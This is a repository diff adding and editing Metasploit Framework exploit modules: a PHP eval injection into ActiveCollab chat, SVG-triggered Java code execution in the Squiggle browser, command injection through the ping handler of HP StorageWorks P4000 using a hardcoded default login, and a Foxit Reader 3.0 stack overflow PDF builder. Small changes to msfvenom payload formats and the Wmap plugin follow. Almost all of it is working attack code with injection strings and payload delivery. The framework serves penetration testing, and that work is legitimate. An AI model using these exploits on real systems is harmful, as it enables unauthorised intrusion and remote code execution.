||||
}
|
||||
}, 40)
|
||||
|
||||
# response handling
|
||||
if res.code == 302
|
||||
if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
|
||||
acsession = $1
|
||||
end
|
||||
elsif res.body =~ /Failed to log you in/
|
||||
print_error("#{rhost}:#{rport} Could not login to the target application as #{user}:#{pass}")
|
||||
elsif res.code != 200 or res.code != 302
|
||||
print_error("#{rhost}:#{rport} Server returned a failed status code: (#{res.code})")
|
||||
end
|
||||
|
||||
# injection
|
||||
iuri = datastore['URI']
|
||||
iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
|
||||
iuri << "?path_info=chat/add_message&async=1"
|
||||
phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
|
||||
injection = "<th>\");#{phpkode}</th>"
|
||||
cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => iuri,
|
||||
'headers' =>
|
||||
{
|
||||
'cookie' => cookies
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'submitted' => "submitted",
|
||||
'message[message_text]' => injection,
|
||||
'message[chat_id]' => "1",
|
||||
'message[posted_to_user_id]' => "all"
|
||||
}
|
||||
}, 25)
|
||||
|
||||
euri = datastore['URI']
|
||||
euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
|
||||
euri << "?path_info=/chat/history/1"
|
||||
|
||||
# execution
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => euri,
|
||||
'headers' =>
|
||||
{
|
||||
header => p,
|
||||
'cookie' => cookies
|
||||
}
|
||||
})
|
||||
end
|
||||
end
|
||||
@@ -1,128 +1,130 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Squiggle 1.7 SVG Browser Java Code Execution",
|
||||
'Description' => %q{
|
||||
This module abuses the SVG support to execute Java Code in the
|
||||
Squiggle Browser included in the Batik framework 1.7 through a
|
||||
crafted svg file referencing a jar file.
|
||||
|
||||
In order to gain arbitrary code execution, the browser must meet
|
||||
the following conditions: (1) It must support at least SVG version
|
||||
1.1 or newer, (2) It must support Java code and (3) The "Enforce
|
||||
secure scripting" check must be disabled.
|
||||
|
||||
The module has been tested against Windows and Linux platforms.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC
|
||||
'sinn3r', # Metasploit
|
||||
'juan vazquez' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.agarri.fr/blog/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 20480,
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
},
|
||||
'Platform' => ['win', 'linux', 'java'],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
}
|
||||
],
|
||||
[ 'Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Linux x86',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "May 11 2012",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
agent = request.headers['User-Agent']
|
||||
jar_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
|
||||
jar_uri << "/#{rand_text_alpha(rand(6)+3)}.jar"
|
||||
rand_text = Rex::Text.rand_text_alphanumeric(rand(8)+4)
|
||||
|
||||
if request.uri =~ /\.jar$/
|
||||
paths = [
|
||||
[ "Exploit.class" ],
|
||||
[ "Exploit$1.class"],
|
||||
[ "META-INF", "MANIFEST.MF"]
|
||||
]
|
||||
|
||||
p = regenerate_payload(cli)
|
||||
|
||||
jar = p.encoded_jar
|
||||
paths.each do |path|
|
||||
1.upto(path.length - 1) do |idx|
|
||||
full = path[0,idx].join("/") + "/"
|
||||
if !(jar.entries.map{|e|e.name}.include?(full))
|
||||
jar.add_file(full, '')
|
||||
end
|
||||
end
|
||||
|
||||
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "batik_svg", path ), "rb")
|
||||
data = fd.read(fd.stat.size)
|
||||
jar.add_file(path.join("/"), data)
|
||||
fd.close
|
||||
end
|
||||
|
||||
print_status("Sending jar payload")
|
||||
send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'})
|
||||
|
||||
elsif agent =~ /Batik/
|
||||
svg = %Q|
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
|
||||
<script type="application/java-archive" xlink:href="#{jar_uri}"/>
|
||||
<text>#{rand_text}</text>
|
||||
</svg>
|
||||
|
|
||||
|
||||
svg = svg.gsub(/\t\t\t/, '')
|
||||
print_status("Sending svg")
|
||||
send_response(cli, svg, {'Content-Type'=>'image/svg+xml'})
|
||||
|
||||
else
|
||||
print_error("I don't know what the client is requesting: #{request.uri}")
|
||||
end
|
||||
end
|
||||
end
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Squiggle 1.7 SVG Browser Java Code Execution",
|
||||
'Description' => %q{
|
||||
This module abuses the SVG support to execute Java Code in the
|
||||
Squiggle Browser included in the Batik framework 1.7 through a
|
||||
crafted SVG file referencing a jar file.
|
||||
|
||||
In order to gain arbitrary code execution, the browser must meet
|
||||
the following conditions: (1) It must support at least SVG version
|
||||
1.1 or newer, (2) It must support Java code and (3) The "Enforce
|
||||
secure scripting" check must be disabled.
|
||||
|
||||
The module has been tested against Windows and Linux platforms.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC
|
||||
'sinn3r', # Metasploit module
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '81965'],
|
||||
['URL', 'http://www.agarri.fr/blog/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 20480,
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
},
|
||||
'Platform' => ['win', 'linux', 'java'],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
}
|
||||
],
|
||||
[ 'Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Linux x86',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "May 11 2012",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
agent = request.headers['User-Agent']
|
||||
jar_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
|
||||
jar_uri << "/#{rand_text_alpha(rand(6)+3)}.jar"
|
||||
rand_text = Rex::Text.rand_text_alphanumeric(rand(8)+4)
|
||||
|
||||
if request.uri =~ /\.jar$/
|
||||
paths = [
|
||||
[ "Exploit.class" ],
|
||||
[ "Exploit$1.class"],
|
||||
[ "META-INF", "MANIFEST.MF"]
|
||||
]
|
||||
|
||||
p = regenerate_payload(cli)
|
||||
|
||||
jar = p.encoded_jar
|
||||
paths.each do |path|
|
||||
1.upto(path.length - 1) do |idx|
|
||||
full = path[0,idx].join("/") + "/"
|
||||
if !(jar.entries.map{|e|e.name}.include?(full))
|
||||
jar.add_file(full, '')
|
||||
end
|
||||
end
|
||||
|
||||
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "batik_svg", path ), "rb")
|
||||
data = fd.read(fd.stat.size)
|
||||
jar.add_file(path.join("/"), data)
|
||||
fd.close
|
||||
end
|
||||
|
||||
print_status("#{cli.peerhost} - Sending jar payload")
|
||||
send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'})
|
||||
|
||||
elsif agent =~ /Batik/
|
||||
svg = %Q|
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
|
||||
<script type="application/java-archive" xlink:href="#{jar_uri}"/>
|
||||
<text>#{rand_text}</text>
|
||||
</svg>
|
||||
|
|
||||
|
||||
svg = svg.gsub(/\t\t\t/, '')
|
||||
print_status("#{cli.peerhost} - Sending SVG")
|
||||
send_response(cli, svg, {'Content-Type'=>'image/svg+xml'})
|
||||
|
||||
else
|
||||
print_error("#{cli.peerhost} - Unknown client request: #{request.uri.inspect}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on
|
||||
versions prior to 9.5. By using a default account credential, it is possible
|
||||
to inject arbitrary commands as part of a ping request via port 13838.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nicolas Gregoire', #Discovery, PoC, additional assistance
|
||||
'sinn3r' #Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '18893'],
|
||||
['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?loc=en_US&id=958'],
|
||||
['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "/",
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl telnet bash'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
},
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
['HP VSA prior to 9.5', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Nov 11 2011",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'The remote port', 13838])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def generate_packet(data)
|
||||
pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
|
||||
pkt << [data.length + 1].pack("N*")
|
||||
pkt << "\x00\x00\x00\x00"
|
||||
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
|
||||
pkt << data
|
||||
pkt << "\x00"
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
connect
|
||||
|
||||
# Login packet
|
||||
print_status("#{rhost}:#{rport} Sending login packet")
|
||||
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
|
||||
sock.put(packet)
|
||||
res = sock.get_once
|
||||
vprint_status(Rex::Text.to_hex_dump(res)) if res
|
||||
|
||||
# Command execution
|
||||
print_status("#{rhost}:#{rport} Sending injection")
|
||||
data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
|
||||
packet = generate_packet(data)
|
||||
sock.put(packet)
|
||||
res = sock.get_once
|
||||
vprint_status(Rex::Text.to_hex_dump(res)) if res
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'zlib'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier.
|
||||
Due to the way Foxit Reader handles the input from an "Launch" action, it is possible
|
||||
to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code
|
||||
execution under the context of the user.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Francisco Falcon', # Discovery
|
||||
'bannedit' # Metasploit module
|
||||
],
|
||||
'Version' => '$Revision: 14069 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE' , '2009-0837' ],
|
||||
[ 'OSVDB', '55614' ],
|
||||
[ 'BID', '34035'],
|
||||
[ 'URL', 'http://www.coresecurity.com/content/foxit-reader-vulnerabilities']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'DisablePayloadHandler' => 'true',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Foxit Reader 3.0 Windows XP SP2', { 'Ret' => 0x74d34d3f} ], # ebp + offset
|
||||
],
|
||||
'DisclosureDate' => 'Mar 09 2009',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
pdf = make_pdf
|
||||
file_create(pdf)
|
||||
handler
|
||||
end
|
||||
|
||||
def make_pdf
|
||||
action = "\n<</Type/Action/S/Launch/F<</F(/C/" # Open Execute Action
|
||||
action << make_nops(321 - 5) # make_nops(21)
|
||||
action << payload.encoded
|
||||
action << "\xe9\xe8\xfb\xff\xff" # Jmp back to the NOPs before the payload
|
||||
action << "\xeb\xf9" + make_nops(2) # Jmp to the near jump
|
||||
action << [target.ret].pack('V')
|
||||
action << "\x92" * 16
|
||||
action << ")>>/NewWindow true>>"
|
||||
|
||||
pdf = "%PDF-1.4\n"
|
||||
pdf << "1 0 obj\n"
|
||||
pdf << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]"
|
||||
pdf << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R "
|
||||
pdf << "/Annots[ 24 0 R 25 0 R 9 0 R ]>>\n"
|
||||
pdf << "endobj\n"
|
||||
pdf << "4 0 obj\n"
|
||||
pdf << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n"
|
||||
pdf << "endobj\n"
|
||||
pdf << "7 0 obj\n"
|
||||
pdf << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n"
|
||||
pdf << "endobj\n"
|
||||
pdf << "9 0 obj\n"
|
||||
pdf << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ "
|
||||
pdf << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]"
|
||||
pdf << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n"
|
||||
pdf << "endobj\n"
|
||||
pdf << "16 0 obj\n"
|
||||
pdf << action
|
||||
pdf << "endobj\n"
|
||||
pdf << "17 0 obj\n"
|
||||
pdf << "<</PV 16 0 R >>\n"
|
||||
pdf << "endobj\n"
|
||||
pdf << "trailer\n"
|
||||
pdf << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]"
|
||||
pdf << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n"
|
||||
pdf << "startxref\n"
|
||||
pdf << "0000\n"
|
||||
pdf << "%%EOF\n"
|
||||
pdf
|
||||
end
|
||||
end
|
||||
@@ -88,6 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
def check
|
||||
|
||||
fingerprint = fingerprint_mod_wl
|
||||
print_status "#{rhost}:#{rport} - #{fingerprint}"
|
||||
|
||||
case fingerprint
|
||||
when /Version found/
|
||||
@@ -176,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
if build_date <= Date.parse("Jul 28 2008")
|
||||
return "BEA WebLogic connector vulnerable"
|
||||
else
|
||||
return "BEA WebLogic connector no vulnerable"
|
||||
return "BEA WebLogic connector not vulnerable"
|
||||
end
|
||||
else
|
||||
return "BEA WebLogic connector undefined"
|
||||
|
||||
@@ -42,8 +42,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
['OSVDB', '79276'],
|
||||
['OSVDB', '79277'],
|
||||
['BID', '52023'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/18622/'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/18623/']
|
||||
['EDB', '18622'],
|
||||
['EDB', '18623']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
|
||||
@@ -400,7 +400,7 @@ if opts[:format] !~/ruby|rb|perl|pl|bash|sh|c|js|dll|elf/i
|
||||
end
|
||||
|
||||
case opts[:format]
|
||||
when /ruby|rb|perl|pl|bash|sh|^c$|js_le|raw/i
|
||||
when /ruby|rb|perl|pl|bash|^sh$|^c$|js_le|raw/i
|
||||
$stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format])
|
||||
when /asp$/
|
||||
asp = Msf::Util::EXE.to_win32pe_asp($framework, payload_raw, exeopts)
|
||||
@@ -478,8 +478,13 @@ when /war/i
|
||||
else
|
||||
exe = Msf::Util::EXE.to_jsp_war(exe)
|
||||
end
|
||||
|
||||
$stdout.write exe
|
||||
when /psh/i
|
||||
psh = Msf::Util::EXE.to_win32pe_psh($framework, payload_raw, exeopts)
|
||||
$stdout.write psh
|
||||
when /psh-net/i
|
||||
psh = Msf::Util::EXE.to_win32pe_psh_net($framework, payload_raw, exeopts)
|
||||
$stdout.write psh
|
||||
else
|
||||
print_error("Unsupported format")
|
||||
exit
|
||||
|
||||
@@ -1679,6 +1679,10 @@ class Plugin::Wmap < Msf::Plugin
|
||||
'Options' => opts
|
||||
})
|
||||
when 'exploit'
|
||||
if not opts['PAYLOAD']
|
||||
opts['PAYLOAD'] = WmapCommandDispatcher::Exploit.choose_payload(modinst, opts['TARGET'])
|
||||
end
|
||||
|
||||
sess = Msf::Simple::Exploit.exploit_simple(modinst, {
|
||||
'Payload' => opts['PAYLOAD'],
|
||||
'Target' => opts['TARGET'],
|
||||
|
||||
Reference in New Issue
Block a user